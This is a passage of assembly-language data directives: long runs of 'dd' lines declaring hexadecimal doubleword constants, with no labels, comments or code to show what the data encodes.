905584F3h, 18AF1315h, 0C49E2947h, 5F4A3664h dd 4FA33B1Dh, 14E88864h, 1C6EFBDDh, 0D18A4C38h, 3AC50968h dd 745FBD36h, 0D70CB982h, 0A8836814h, 0CF9AAA76h, 0D5D03C63h dd 445C9B39h, 0F0B6150Bh, 2C689E0Fh, 12F4DE80h, 7CEA0D3Dh dd 0E558D90Fh, 0CC633BC9h, 778A8682h, 8AB6C515h, 0DC86A910h dd 9DC8BBB9h, 0E8FA03D6h, 4B3FD201h, 9E37B8C2h, 0A50DC299h dd 0EC059DF5h, 0D809D1EAh, 0D6624F3Ah, 535F8A60h, 7A384500h dd 0C4EB7B90h, 4DA2A88Ah, 778F5E0Fh, 2FF61B14h, 5BA9ADBCh dd 38B4B51h, 3300DD35h, 0E5573D0Fh, 762CC2EDh, 24B0B8FCh dd 74F748E5h, 9C6CCFBDh, 6CA84096h, 0C3B5B299h, 0AA58F87Ch dd 3392DFF4h, 0D86F369Eh, 0CC5A4A7Fh, 2EA1A7C4h, 0ACE3E97Dh dd 3A5F10F5h, 51FE8BAEh, 71EE39EAh, 0B5ECB0EEh, 23D42B8Eh dd 0CA0C6700h, 7BA1996Ch, 0B86A5AEFh, 0C182B7C7h, 0BF322F44h dd 0D96DCC6Ch, 37BF0342h, 8EB74F93h, 0E539F82Ch, 474680A4h dd 0B9007039h, 500AC27Dh, 591627Fh, 83483BBCh, 8EB8D5E0h dd 0C3731E7Ch, 4BED96CAh, 0F5C8284Eh, 37C59068h, 18F61A19h dd 32F822F4h, 32E5064Eh, 2431A8A6h, 4C4A5AFDh, 0D91F4C27h dd 0A748C560h, 760A3670h, 71066E90h, 0EE39B9D8h, 0B14BBE7Eh dd 7364AE72h, 0A83DE740h, 0DB620585h, 92C79190h, 90B964C9h dd 0AD1F4D3Eh, 260F986Ch, 11CDB623h, 72F68149h, 1DB337F8h dd 0BD0E2962h, 6182C9EDh, 0ABD13F5Dh, 7200D70h, 9A0BFCDBh dd 659C073Bh, 0D6ED88C5h, 44E289F2h, 2B577599h, 0B0BFEB6h dd 4FD1C2Bh, 66EFA622h, 0FFDDC2ECh, 0A02DEE2Fh, 937787Fh dd 38218221h, 57E94535h, 6F86A816h, 2D30D39Ch, 34142F26h dd 5621ED02h, 70FF55BFh, 77C81176h, 866CC8FCh, 0D0673F88h dd 19949135h, 6285A25Bh, 0C720AE0Bh, 1F972060h, 0FE31588Fh dd 7D28340Ch, 8E000F0Fh, 4A9624CAh, 73EE0F00h, 59D1E42Bh dd 92DF1732h, 85B3FFB9h, 0D568D3FEh, 0BFCD29CCh, 97C902D1h dd 8017023Dh, 89482A89h, 0D2D4EC25h, 991D7674h, 12D05F69h dd 48DF4210h, 0A6D0DDCh, 1817B61Ah, 0B737EF39h, 43397120h dd 429E8E0Eh, 0FA749DCAh, 9EA3638Ch, 795E3AFCh, 0EDF3B431h dd 0DD9EAE2Eh, 83E6E83Eh, 0A6A5115h, 9638F425h, 43D66D76h dd 3F1B575h, 0C65B299Bh, 0BD3CE641h, 13D8BB8h, 23274591h dd 2FF3ADD5h, 73355C59h, 8BAF7DF0h, 783F31F1h, 27B744B4h dd 271045F4h, 0E7518592h, 51A1004Dh, 96423CC8h, 91A8394Dh dd 637BA69Fh, 81CAA30Dh, 63C46C4Dh, 0F53BFD13h, 16B31E66h dd 8CA95139h, 4BD30E0Ah, 0BA0CE988h, 42CA2134h, 17E6AB51h dd 0D78C5B9Dh, 2B51AE1Dh, 85A43FFFh, 2CB9EE42h, 1EEC9D9Dh dd 5392BA05h, 0E3769936h, 5CCE8984h, 0BAA4C2B3h, 0EDB61075h dd 0C56873B7h, 0A61600DCh, 7399EF2h, 0DE4669D0h, 814571B8h dd 2D7BE343h, 567AABF9h, 44D931C4h, 0CCBF0BA5h, 0F9337B39h dd 49FA1858h, 0CC0FE3EEh, 1BED51Ch, 4F0ADC4Dh, 0DEAE6675h dd 8D6B7BA3h, 715B62B9h, 17220F8h, 0CF2C8D2Fh, 0B19E7AC2h dd 77821DD9h, 0E40AE8B4h, 18780B43h, 0C9B97F6Ch, 4E702A20h dd 0FAD6A8BFh, 0C9CACADEh, 0E9EA8B2h, 9A86DA6Bh, 0EFED0843h dd 0DEFAFB85h, 95FD6EB0h, 205BDD27h, 22CEB9E0h, 0E0A0DAD4h dd 1F9C6951h, 69EFE090h, 691D9225h, 0CE7EC73Bh, 570F2AC3h dd 0C2DBA1B5h, 0D69043BBh, 73F368ABh, 954B6489h, 82A592B2h dd 8CA74EE8h, 54FA4643h, 3BB2DE70h, 0B0F20D79h, 3B3C9B6h dd 0C034D69Dh, 0C950A821h, 0EDC31BC1h, 9D07DF6Bh, 749132D7h dd 0D83B663h, 80AD3873h, 5B088590h, 0F5143116h, 489238D0h dd 1629F391h, 0AA5AE3BEh, 9B14632Ah, 806B04FDh, 25C3B7F6h dd 0F219AAE2h, 9B37A72Bh, 0BC02A3C5h, 0CC8A9EEEh, 29E66ED9h dd 0BE07F955h, 335A70B7h, 0E5B7AEB5h, 117381C9h, 12ADDCEEh dd 0A08D7D1Dh, 133E9DE9h, 0C8126B1Bh, 3B332FE9h, 0F2EE7F1Bh dd 83760462h, 0ADCC1D94h, 54C5B249h, 0A8C5DA5Ah, 0B1181FACh dd 0FCAA43D1h, 39B522E7h, 4E1BF093h, 0B294EFF0h, 142D366Fh dd 6AF6787h, 0DCA2A74Ah, 876BE727h, 42054FD9h, 0EC8AA5A7h dd 0BF70AA48h, 0FDD4C7A8h, 90D09CB1h, 0A3506BEEh, 0B922B850h dd 3E5D6948h, 8FD28C69h, 0E5FF7AD9h, 0EC8EDD06h, 0C2598388h dd 0C2F72EA6h, 0FD3F4ED3h, 54CA1298h, 0BEC7CC44h, 526E0D5Fh dd 112FE3A6h, 0A59B4557h, 0ABF7100Ch, 6EF74877h, 9C2AE103h dd 0EEA6BA26h, 0F78B506Bh, 933F74FBh, 0F268335h, 0C6037C0Ah dd 2885F7EFh, 0C20DE7ECh, 92B5CFCCh, 23DB7D3Eh, 0D55FF636h dd 1AAC6E7Fh, 3F47EE78h, 0E5609A38h, 0BD59251Ah, 7FA1F527h dd 4DF86B96h, 4AF838BEh, 0AD5748DAh, 87D85619h, 0B7188EBBh dd 0C0E9C8B2h, 85FA5C14h, 0BE7BEB48h, 49C2B380h, 0FD97821Bh dd 0ADDDECA0h, 3E70E14Eh, 0CBD01BD1h, 469CB33Eh, 0A3515BFBh dd 0AA8355BDh, 58938764h, 0C0F924D5h, 0F27BCFDh, 0A276165Bh dd 58039543h, 4FC6A28Eh, 6C057104h, 9151FFD1h, 7575B82Ch dd 7755613Bh, 7CEA5F8Ch, 0E75D6632h, 0F8F772C6h, 0E6CEB23Ch dd 52D83EB6h, 0CA22CEABh, 0E954C3B1h, 0B1D5E1B0h, 5D43444Dh dd 4E851DE9h, 14D7013Dh, 0BCA432C8h, 0E8FB0398h, 97018269h dd 7F603E5Ch, 0CDBD3BA2h dd 0CE279BABh, 12995C8h, 3D3269B8h, 0D70E11F5h, 80ED9DCCh dd 272DAD26h, 8468728Bh, 4268A108h, 207CBC38h, 60CEFB3Bh dd 2C740E5h, 4EB2BD5Bh, 0B79D4139h, 389D73E0h, 0A68607ADh dd 0A426F9ACh, 0E09A6F73h, 0C2A2738Dh, 79EB1BACh, 0AAD4EBDAh dd 0B683BE8Ch, 392277AAh, 0CD204C3h, 76FEDF1Fh, 9F1A1384h dd 9D62E83h, 0BB961DBh, 0A6CC96Eh, 1CDCF3B8h, 0D70B3FA1h dd 0F2684760h, 0B616335Fh, 0AA88D961h, 586ACE42h, 2EA9B3A8h dd 0F273B352h, 42D988EFh, 7DE6C7E4h, 19713EA9h, 212A62D9h dd 0DD1A20ACh, 36A20E1Dh, 0F496F437h, 0F7210B94h, 2E2F5BDh dd 0BB423504h, 51B641A8h, 65EB9F43h, 2E0DFC27h, 5BE95EDBh dd 522E53Fh, 0A09322B3h, 203856B4h, 25B1BB5Ch, 5EAD8B3Dh dd 0C7F1E74Eh, 53EBA582h, 7C5A08Eh, 1B8BAC15h, 0E9E4646Fh dd 0BBFD026Ch, 13A77B32h, 0DE28723Ah, 0A2533D88h, 92DC3A62h dd 3D555E57h, 0A9C79EB4h, 910B2E4Fh, 0D1F556B2h, 0A661D0D5h dd 0AA7C1E69h, 1EB5A744h, 0C05AAEC7h, 41A21DA3h, 0C48CE867h dd 8FF7A0A6h, 0EC1AFBE6h, 5B3EC56Ah, 0C5AF7757h, 0F458899h dd 6BA21EABh, 8F663C90h, 4258E47Eh, 2C2E22Dh, 0E7C8BCFBh dd 3AC606CDh, 0F49AE1AEh, 0D9C329CDh, 0A0AE460Fh, 68C098Ah dd 0B4C0542Ch, 74FCCDE5h, 521443BBh, 16F13B7Ch, 0E900FE79h dd 0CCEF97E1h, 0FC4275D1h, 6DBCEA2Fh, 10AF1B02h, 485DE804h dd 0C7B48F25h, 104A486Dh, 20D01C5h, 94552D1Ch, 0D3FC3C58h dd 631D7CEEh, 3F9C213Ch, 482D6A56h, 70ADE2D7h, 6BC66472h dd 0C464B1BEh, 579A1CFFh, 0B8D3DDBFh, 0BA6AE8C9h, 0E5B3337h dd 2DEA53F5h, 31A2E1B4h, 31FB91ACh, 41E8E2E4h, 172E986Ch dd 2A0E7719h, 8A7DAD7Fh, 8F19A4CFh, 1CADBEB1h, 4A7FC69h dd 4247D88Dh, 0A606601h, 621C400Eh, 0A372B5ABh, 0AE83527h dd 2BC6A16Ch, 7A02DA71h, 37828F88h, 1690F004h, 958BD95Fh dd 0E7EC9061h, 9865294Bh, 46EFEF86h, 0E8BCD959h, 0C36FACA3h dd 4B52D965h, 0D4E0EC28h, 0FCB52408h, 6E60038h, 749D1210h dd 278DD296h, 6C7EF4C2h, 0D9574345h, 1D0A7791h, 44653507h dd 7542C1Fh, 7208D789h, 2973119Eh, 3F870B78h, 1EEA18F2h dd 0E78E1B25h, 77E01D99h, 7CBBEBBFh, 0FDD4FD47h, 0C6F1A1D5h dd 4FBD06C7h, 238B7C4Fh, 0C3B865Fh, 2C4C5FC8h, 613EF118h dd 5C20F446h, 5A0047ADh, 15F3CA14h, 48F90FE9h, 31F720E1h dd 2D0B7E57h, 3373055Eh, 47679553h, 4CFCD793h, 1B1D27B8h dd 0BE6B8158h, 49636E0Ah, 0C76F6B8Ah, 49DF8D38h, 0DD1E5341h dd 6C33EBF4h, 0AB8CF70Eh, 164D9Ch, 1E358CA8h, 0C86A7F9Fh dd 0D06D4987h, 0D7294C1Fh, 92D28FDEh, 7B73429Eh, 7A0A6160h dd 59BF25AAh, 66FF4D1Ah, 41251F45h, 508285ADh, 0CA00359Bh dd 95D19978h, 0E4E171h, 827C67CEh, 75C8588Ch, 6FF23CE6h dd 0DD6FE481h, 0D3B8BE9Ch, 75E20A33h, 7A27BF1Ah, 0C0F93677h dd 9F86CB9Ch, 0CB02FAC9h, 81EE6772h, 155AB5E3h, 37A17667h dd 22E77D30h, 78CE061Ah, 0FBFB7819h, 0B8C16325h, 0DE0BF3A9h dd 42DB06B1h, 0D2951539h, 0DA86B41h, 0D5248FC4h, 450BD83Fh dd 76CD1DEDh, 68B26F58h, 1252754Ch, 42629D61h, 126093CCh dd 8DDA9F82h, 220FF714h, 0E3009683h, 96A7F7FDh, 74E823Ah dd 8C31FE6h, 0F10338E7h, 0B9C3835h, 4963A683h, 48090CA3h dd 9C3B7D5Fh, 96B29DAEh, 9782DBCBh, 8C8454ECh, 0D4A2FE5Bh dd 0D306FEE9h, 1CD25819h, 3A88969Dh, 0EC6C8573h, 0EEBB33AFh dd 0B85325Eh, 218BFD02h, 40381787h, 119E3B96h, 2C83021Bh dd 4EF3719Ah, 7AA96C03h, 5F5D388Eh, 33F55DBEh, 309D7404h dd 0DD685043h, 0BBCC02FBh, 9393EE9Ah, 0F5C76D8Ch, 8E358BC0h dd 6A782613h, 81A2B01Ch, 0EF5B1C73h, 0A2CF1CA8h, 900CAC5Ah dd 48AF0BE2h, 0F96C18B1h, 0A2208841h, 0FB63C5EBh, 2F37C840h dd 59475DCEh, 0E69530B2h, 0FD7D766Ch, 7066C409h, 71F0152Dh dd 83E24A12h, 6278A185h, 552E8C74h, 840E3B16h, 29A01DDBh dd 5D7AA17Dh, 73149E46h, 750B71FCh, 90DB6D13h, 6CD92B59h dd 0F6A8D426h, 0BA44F05Fh, 0CAF250EEh, 9DB0F0CCh, 94B93222h dd 8A0F54F6h, 29E6A34Ah, 467406F8h, 1A59F2DAh, 1F277CCFh dd 253A7F1h, 365FF46Dh, 0A4CFDDE7h, 7CDA9F9Fh, 20BCFEA9h dd 9B6C8547h, 0FC7FEDC4h, 80D0AB0Eh, 63D133A4h, 52AA9BAh dd 0F894D6D4h, 14272D9Dh, 0D9C916A6h, 3940E244h, 4C60F969h dd 0C107ABD9h, 690581FEh, 0F28723ACh, 0FDC41B1Dh, 7701D33Dh dd 904C8DF5h, 8E3FAD6Dh, 94FA84DDh, 0B74D32E4h, 45656952h dd 0F6C7B9E9h, 0A3C72777h, 0F153B286h, 2DBB8C7Ch, 43D04551h dd 0C274E37Fh, 508F13D3h, 0D15FF7B1h, 35620E05h, 901F337Fh dd 0D61845F0h, 7A494E55h, 0A667931Ch, 5622925Ch, 0C9E2CAA6h dd 74BBF63Fh, 216DB5FBh, 4ECDBA4Fh, 9CAD25B8h, 4452C5AEh dd 6F82EAD9h, 84EDACB3h, 3786226Bh, 1D5D1297h, 0AAEE9A9Ch dd 34B65724h, 32470EC5h, 518E8B2Ch, 0C5E5381Dh, 0BE097534h dd 0AE556A66h, 60380736h, 9A3235A7h, 779E3F4Eh, 0DBFDD9Eh dd 0AD14E35Fh, 88F8D2ADh, 13575BA3h, 0BA538AC6h, 0C286DF91h dd 4370D1B5h, 0BFECE89Eh, 954E1Fh, 0E4144918h, 968968B5h dd 0F7E6A12Eh, 92827F9Bh, 3EC70CF2h, 7590D308h, 0F1ACCE6Dh dd 3F3C8D82h, 0A2B6DBD6h, 0C3B50DF9h, 0E8F18E41h, 8998C490h dd 3E2BAC0Eh, 225D85C4h, 7BFE0816h, 42946A9Bh, 7AE6D1E9h dd 52D8AD65h, 65AE95B4h, 0A14B9C57h, 5C358828h, 218B125Ch dd 95DD211Eh, 0DF1AC5F5h, 15B05BDCh, 97C32B1Bh, 5E21201Ch dd 0A097FB6Bh, 0E5B51D59h, 0E85BEC1Dh, 0B41DC91Eh, 2AE1597Eh dd 0C14CC508h, 722DBAFBh, 2D4B371Bh, 0A79FEFEEh, 28F09E77h dd 5BB211FFh, 997E7C71h, 0CFC799D0h, 434D3FB9h, 0B5E70092h dd 7784F40Ch, 6CC211DBh, 414947DCh, 7E22A262h, 4350EF73h dd 91CEDD3Ch, 3CE80197h, 0FCBF7CF2h, 951DC035h, 7E5C64F8h dd 1A19C894h, 0B7EF31Fh, 0AD60AC97h, 5D335D82h, 8AA9C22Dh dd 8858E77Eh, 3A343FFEh, 601E7E32h, 79F2016Dh, 0FB3D938Dh dd 31A3E6Eh, 4F0300B1h, 0F6F2BC7Ch, 0FAABBE7Dh, 0B1E7B35h dd 0C5D87DE5h, 479252E4h, 8FB53DA1h, 0FFCD5DD3h, 532A59E8h dd 0AB88397Eh, 0BD2D206Ah, 57851DA4h, 0FAEA537Bh, 0FDFB86E3h dd 0D76E09DCh, 0CD072244h, 4E7258B4h, 7793DF4Bh, 4F5300CAh dd 68FDB07Ah, 7179AEAAh, 0A5E0352Fh, 9CC84759h, 2315F1FAh dd 21AC485Dh, 88E7F416h, 0DFA365DEh, 119DBB4Ch, 99218251h dd 918BD088h, 0CBD33DD4h, 906DC046h, 0D4109D17h, 5DEA9A6Eh dd 10B62F64h, 1CDF341Fh, 5DBF80Ah, 40784441h, 0EF718EFAh dd 0B64DE241h, 75246A9Fh, 0DCDBE9AFh, 0F53FA340h, 9AF0C560h dd 0C2389C95h, 7E054E3Ah, 0BB3886FDh, 46C16CFBh, 0CBC2E347h dd 1EC6CC13h, 5FA54B21h, 66BEA5B7h, 0E56A7BDCh, 231526ECh dd 906CAB1Dh, 6A558E9Ah, 0A4CD9127h, 0FF8288h, 0F3ED7A30h dd 297950EAh, 0D2C933D9h, 0CB1AB675h, 8565E836h, 92891E7Eh dd 81F863E8h, 0BA514A6Fh, 2A21AC6Ch, 0DD1D6D5Ah, 77222B3h dd 77A03D28h, 7633B744h, 63C55B45h, 8650CAB0h, 0A3108821h dd 48E736C5h, 4A3DEF1h, 0BE041F40h, 0B729DA1Eh, 0FF1A114Bh dd 4611F64Eh, 0FB3836DCh, 1D66FDE5h, 0AC81EA06h, 91CF7FCBh dd 0B1BE57B0h, 51AFA96Eh dd 0D4F7CBB3h, 8C30DA43h, 4C131739h, 3C5CB76Eh, 0E6BAF22Fh dd 5364C99Bh, 63CDCECBh, 0A058A864h, 78A44F00h, 47C8D3F1h dd 2036F417h, 769D6349h, 39A07F38h, 0B3BFFF4Ah, 5BED075Ah dd 0A11571CEh, 0CB2D772h, 50718FA4h, 81A4F68Dh, 7D520D4h dd 0F32BA1AEh, 87CBF109h, 0AB2CC723h, 255A6876h, 0FA5FC7ABh dd 8E5C9108h, 0D61FFFB4h, 0B609779h, 0F0225EC0h, 5FD8F636h dd 0D4AB2C04h, 35F0DF38h, 179C61BDh, 0C8CD9997h, 0FD13176Fh dd 53580B1Dh, 2F5700C3h, 848C25D3h, 176F1313h, 1C8984ECh dd 0AD965C7Bh, 4515991Eh, 260BC95Fh, 0D1D4F281h, 0B1D84999h dd 2259FFCEh, 0BE55BADAh, 0F085DB6Ah, 75302774h, 0CE978EC4h dd 0DDD02F3Bh, 5ACC5A1Ah, 38AE5B2Ch, 1A2628D7h, 59599F4Ah dd 0DDF9606Fh, 2E1B902Fh, 8D7CCA2Fh, 260F7835h, 50BEF3F9h dd 6C5AEBCAh, 24F7EE81h, 0DF28B371h, 27EF85ABh, 7A10B954h dd 5CE1FFADh, 744A2F92h, 0CF19CF62h, 5E95A8F4h, 8BA68693h dd 7AD5A0D3h, 551C965Bh, 4E5C9D1h, 3DEFE9E8h, 46F42622h dd 0CC10E5C5h, 0F03B02ECh, 0A674BC85h, 8966046Eh, 45BE4214h dd 141BFE09h, 0DF62538Fh, 3E4AC98Dh, 0F30FA1B7h, 8FB245F3h dd 64286A17h, 0BE9409D5h, 9CB16162h, 5FA7F4F6h, 0BC046111h dd 0D84E3D01h, 1026E399h, 6D1BF70Ch, 744FBC84h, 4E53FC74h dd 1050277Eh, 0A89CF1E9h, 99B30609h, 0BF001FCAh, 0C9E15E9Fh dd 6508CB01h, 51562A9Ch, 0C5BC2F46h, 0BF5BEA25h, 0A47328C7h dd 0ED5E2414h, 7B056EDh, 10AB4DF1h, 28320685h, 2F326543h dd 0FABAB130h, 6AE68766h, 3E75C3C1h, 0B91034BCh, 475F6E00h dd 2803B282h, 219DA0EEh, 230FE70Dh, 5BE72245h, 0E668FD66h dd 0B76F3C29h, 5D862529h, 0AAF2D67Ah, 20AE6106h, 0AE88B016h dd 2F22D39Ah, 248C60BBh, 88A9A7FFh, 0FF8D23FAh, 5912FB88h dd 473FB0ADh, 210291E3h, 5EA3D4F9h, 27AFA719h, 0BBF537C7h dd 327697DAh, 0A85B06DFh, 33884FCAh, 0A5FAF06Dh, 0B47E9509h dd 0A4246742h, 0B20C0257h, 8AA341BEh, 0F304DD55h, 79E29B74h dd 0AB0A9ED9h, 61257680h, 0EBA56AE4h, 32E98C45h, 62B31FFh dd 147A3D62h, 0D8BAA499h, 0ABFA7199h, 181A77C6h, 29545F69h dd 0F0772279h, 7C410B40h, 0A4D5F84Bh, 5C35BF44h, 79FA9F83h dd 0B51D40Dh, 8B29C340h, 0DB924890h, 54C48D17h, 10EAAB32h dd 0EFD608B5h, 78AC9784h, 471293A3h, 1496971Bh, 0C381D54Fh dd 0E25B2A50h, 1CE1D201h, 98860E9h, 3D27C351h, 150A1522h dd 0EB430010h, 98DF5CBAh, 5362F681h, 29700A79h, 7C94A9F2h dd 9E93CE8Ah, 0CE5D4028h, 0B680DAB0h, 0F01359DEh, 131E91F4h dd 85952F7h, 0A50A3FE2h, 748DDC86h, 5D8039D9h, 83BFAB8Ah dd 0EC4E8E14h, 0F77A8A62h, 0CF37A584h, 0D39CD120h, 89B6C897h dd 0F3B90300h, 5ACE9A76h, 0A63D6EF8h, 0B202D035h, 0E4AE80CEh dd 0EC7D8BC2h, 3B01C461h, 5EFDB67Eh, 43C0BBD2h, 2FD6176Ch dd 0F1E9FB48h, 2A7D847Dh, 0A715A6E8h, 0AD508796h, 21B54C9Eh dd 7441EF83h, 14346F89h, 6C739EF0h, 0E497E92Bh, 49E5E7BCh dd 1272AF4Dh, 65C401C8h, 6C75D367h, 0B000F305h, 0A59757D1h dd 0F7079EB1h, 0B3E7B7A9h, 0DC9A94D3h, 0FA99E5FEh, 3AC51D54h dd 0EB059CB2h, 0B5CC996Ah, 1E2B701Eh, 9BCF9530h, 2EDD5D46h dd 700AF6BAh, 6BFE15ECh, 73E44EFBh, 78FD558Bh, 91401AB2h dd 4515C7F0h, 0FFAF6F34h, 8D9433DBh, 0D3E97852h, 2781A767h dd 8EFD5DC3h, 0FA1AAB82h, 9A38DF66h, 34FAF9AEh, 57869849h dd 17F9FD17h, 64520B8Dh, 0C7C74B22h, 292B882Ch, 92FC38CCh dd 7E7D3D8h, 11C0F618h, 3A91A665h, 0E1600Bh, 0A7EFBA10h dd 8ED5C41h, 8F944880h, 884DD235h, 3D07D0DDh, 7A588B6Fh dd 890B1E2Dh, 0A65D1452h, 62268B91h, 0B6B8A2Ah, 4F8A401Fh dd 7C1CE178h, 0C52B8D07h, 0AFC9E2Dh, 9411CA47h, 973E2BEFh dd 0FBCC1D69h, 2EBB9776h, 0B63C99D5h, 0D764FC10h, 0BD5808A0h dd 0B7C5D2B6h, 1AF83048h, 5AE32E8Dh, 7AB5864Bh, 3CB35FAFh dd 0D588944Ch, 4D05A8F1h, 0D37E346h, 5F9FE8E0h, 72D6F670h dd 16D0F6C9h, 0C1DC06AEh, 0E1C52764h, 7378BB07h, 9C0EBB4Ah dd 3FC71FE2h, 0D89F8881h, 0F34C3130h, 9E60A60Ch, 0B3E0DA84h dd 3E4EB607h, 6EFC88D5h, 389597B9h, 0E4297896h, 571A7E3Fh dd 96991756h, 0CC6115B5h, 770C53A0h, 436F278Eh, 3A2FF8CEh dd 2FEF207h, 0DE7393B1h, 7B8DB6CEh, 4C5AE999h, 70727ED9h dd 0B2E5D365h, 4B0427CDh, 1219D14Ah, 2493FCD5h, 89F62BEh dd 56BD7AFFh, 2490BC57h, 46893468h, 8CD8B47h, 0CC125ECDh dd 0B8E70044h, 5065A316h, 90815263h, 7B03F1C4h, 0F369D17h dd 485424A2h, 684D41FFh, 4482B288h, 195A9A34h, 58832E1Fh dd 0D064D74Eh, 0B382E67Fh, 68A3ABC6h, 8828F408h, 97898B27h dd 0D918998Eh, 0CC40C868h, 1BD83B0Dh, 6638532Fh, 65FFC70Eh dd 1451589Eh, 99261D37h, 4B29F8FEh, 0D933E54Bh, 6D97E363h dd 0DA044CD0h, 0E61BFE89h, 0ED8CF7D0h, 31E17907h, 0B032CA2Eh dd 0CB3B9289h, 0F3E8198Ch, 991FEABCh, 0B1465DC0h, 0D101239Eh dd 1AA4E559h, 0C9955F66h, 6C8C9C70h, 89E3B42Ch, 0C048A805h dd 0DF02F821h, 72513CF2h, 90889CEDh, 94B7FD98h, 35FD8F07h dd 6C8A1B2Bh, 0A773B34h, 29005C84h, 887FA914h, 8578258Ah dd 0F45A6D9Eh, 8290F50Eh, 0D1DBF58Ch, 0FD8A2A4Eh, 0D228F247h dd 31F7FAE5h, 0ED0355C1h, 613C7F1h, 0A37D40C3h, 0CA786D25h dd 5597162Eh, 7FEEDFE7h, 0EEFAB983h, 0A25F005h, 916D4AD1h dd 60EE0846h, 873EAB35h, 0A56DAF41h, 4FF86D4Ah, 7AAB70A6h dd 9E98E23Fh, 0F603BA82h, 15E4EC4Eh, 0AE175C97h, 0BE9DAA1Ah dd 0E35EE5F7h, 215510B9h, 1709CBD8h, 556B64DBh, 9B7D7A77h dd 0CA5DBBB7h, 0D547390Dh, 403394C2h, 923270EFh, 7283EB2h dd 0EF33A31Fh, 377B9477h, 590F4003h, 2CDF8757h, 1AF49D87h dd 0ACC24172h, 7543CA45h, 58F20F3Ch, 0BA8BD453h, 0DFAEAECFh dd 8DCCADB9h, 10A1701Bh, 3C5E80D9h, 42B35FBDh, 70B0D0A3h dd 4855098Fh, 0D00E80EEh, 9952452Dh, 0CFB4B486h, 14B013CAh dd 0D53A436Bh, 0A1E1BAEAh, 0D37ED33Dh, 9C8EFE27h, 3E6BABF0h dd 2B16F58Fh, 2ED28407h, 738A8DCh, 0D754204Fh, 0ABA197Bh dd 81D32F7Ch, 2127285Ah, 369144E3h, 81304AC5h, 0ECE87B03h dd 908AD879h, 8BC78983h, 168D8ACh, 0AF048A0Bh, 7465972Ch dd 3EDD8EBCh, 0F92E5D0Bh, 8A56AF79h, 0E120C47Ah, 0D134BD29h dd 0B4F31C1h, 0F72D723Ah, 81105573h, 0E0B52898h, 23AB133Ah dd 99D7D5EFh, 0C1BDDE5Ah, 304394C6h, 64611351h, 0B79BC505h dd 8565BB73h, 3BF50B49h, 8A0D358Ah, 74B6B3DEh, 37D75CE3h dd 0B5037756h, 0CEE0382Ah, 0FF0264CCh, 0AAD6135Ah, 2FCE265Dh dd 0A00A70CBh, 4DF4505Bh, 81CC78C3h, 6990F407h, 4424457Dh dd 8C3237B6h, 3E8EB0DEh, 8EB69BB8h, 0DDEE5DB0h, 0E6D471D4h dd 0D90F2794h, 504EAFE1h, 96D828D6h, 76AEAD79h, 0FEDEFA04h dd 0C8B8D764h, 41A10956h, 0EE52722Bh, 6BABAD5Eh, 6D414276h dd 39B52BEAh, 0A94E5AEEh, 0BD9DF2D6h, 0C3463648h, 4438EC04h dd 0F763353Ch, 8B52A5ADh, 831CACBCh, 0C87C7485h, 0D9D7FAECh dd 4CB12DAAh, 0A96D5B5Eh, 0C137AEFh, 3F14DA34h, 0AFDF9E75h dd 0E60042B0h, 2FE15E4Ch, 67AA0297h, 3E3C07C8h, 3C9D443Ch dd 679C06C5h, 0BD4A990h dd 0AA55D122h, 0A6948145h, 9641036Fh, 6BC3A493h, 0FA73C14Fh dd 9DE7E44Ch, 85ACC1F9h, 3A3542DDh, 0E7A8C4FFh, 0BF7F26D0h dd 87D0B6F8h, 760E5B90h, 5836875Ah, 24879C4Eh, 0AAF97673h dd 0C7EDAE22h, 0DF72B87Eh, 0B7F288F7h, 80B414C8h, 0BE524F44h dd 6A9DBA1Bh, 0A4A57F57h, 0D2CC8F29h, 71A92FA3h, 0F56E8DB7h dd 967E2A39h, 0CA0C9F4Ch, 6E681C16h, 3F267EE9h, 5FF40D3Ah dd 768C4B5Ch, 40ED6F60h, 0EBD05CF3h, 8D171554h, 757B2E57h dd 0C8B3641h, 0A80DCEA1h, 2B62F539h, 182EBBABh, 60F072F1h dd 0C44AED7Dh, 0AD10CB1Ch, 63DEE83Eh, 5D474F7Ah, 666A30Dh dd 21E1E190h, 78BA7BDFh, 64AE70A4h, 0BDD6AAB4h, 62A531D1h dd 0A3B3E4AEh, 9E57AFE7h, 0A7CBC689h, 0C113A946h, 18670FA5h dd 6506CBD9h, 0C4DF1B52h, 7BD6DF98h, 84C22330h, 6841607Bh dd 2F485821h, 0A1B997B9h, 0A25EE9CBh, 4608785Fh, 7CB3F8B4h dd 6F6978CBh, 0DCDC8248h, 31395616h, 0A396198Dh, 57B183A3h dd 4E32E15h, 16EED314h, 0A23B9C6Bh, 804A72FBh, 325F7566h dd 6376C335h, 9B0A9FA7h, 809D8F67h, 0FA53D2ACh, 48AC4965h dd 3457593Ah, 77F9266Ch, 3D216040h, 0B4A7C53Bh, 2558BAB4h dd 0DCADA8BCh, 73C14175h, 1477B799h, 0CA69E7D3h, 1AA81F7Ah dd 3DAB5BC1h, 324E4050h, 61F6CFA9h, 0F350B41Ch, 0B48F196Eh dd 0C167E898h, 71F28B45h, 0B21787D5h, 28F310D0h, 0B5876052h dd 2E3DB798h, 0BFE31990h, 0E378BCA7h, 2B07544Fh, 5FC8E410h dd 24D2DDD0h, 6A1067F1h, 0A7D3F37Ah, 8DF75B5Ch, 0F1BBC2FCh dd 8B18FBC7h, 0EC443E6Dh, 332AB896h, 0FA95093Bh, 617E1CE6h dd 2272EB0Bh, 45DD2E79h, 6E197A97h, 7667AD68h, 227B0374h dd 0FF8F3FAAh, 0D1A0B339h, 632A2907h, 791BCA83h, 8D112F8Bh dd 5817058Bh, 7022807Ah, 3BBE2077h, 59DDD010h, 7C86845Dh dd 0C99392A8h, 492F2C4Fh, 455FE209h, 2F781A03h, 0FD09CC93h dd 2EC3CA37h, 9FA2AC9Dh, 858A289h, 0BEA09369h, 5C391C42h dd 0A976CE01h, 0C7BB057Ch, 0A10AC887h, 467C901h, 66C3BA49h dd 782311DAh, 2CF7AA31h, 9C431D68h, 4C8FA9Bh, 437DABC0h dd 9B61F438h, 0DBD1AE90h, 6F15A2AFh, 85F6B545h, 10D487B0h dd 72EDB584h, 6D08A88Ah, 0FA0139A3h, 0C0C7E019h, 6FD237EBh dd 56B3A0BDh, 0DD9DE3B5h, 667F53B9h, 72178BE3h, 7D14D8C1h dd 56F26C0Ch, 63E89232h, 0F1AD3A3Ah, 5576B2D9h, 7FCDE83Eh dd 1C01FF06h, 230DBAC3h, 6E4F368Dh, 0A7EA9B78h, 16BD0191h dd 0F88EBD8h, 6DE576FBh, 461F7BD3h, 4E88DA5Ah, 8BE04290h dd 0E00535C7h, 0B54242Bh, 0A6755E01h, 1DF309EAh, 0F9C45F9Ch dd 0FAD645C0h, 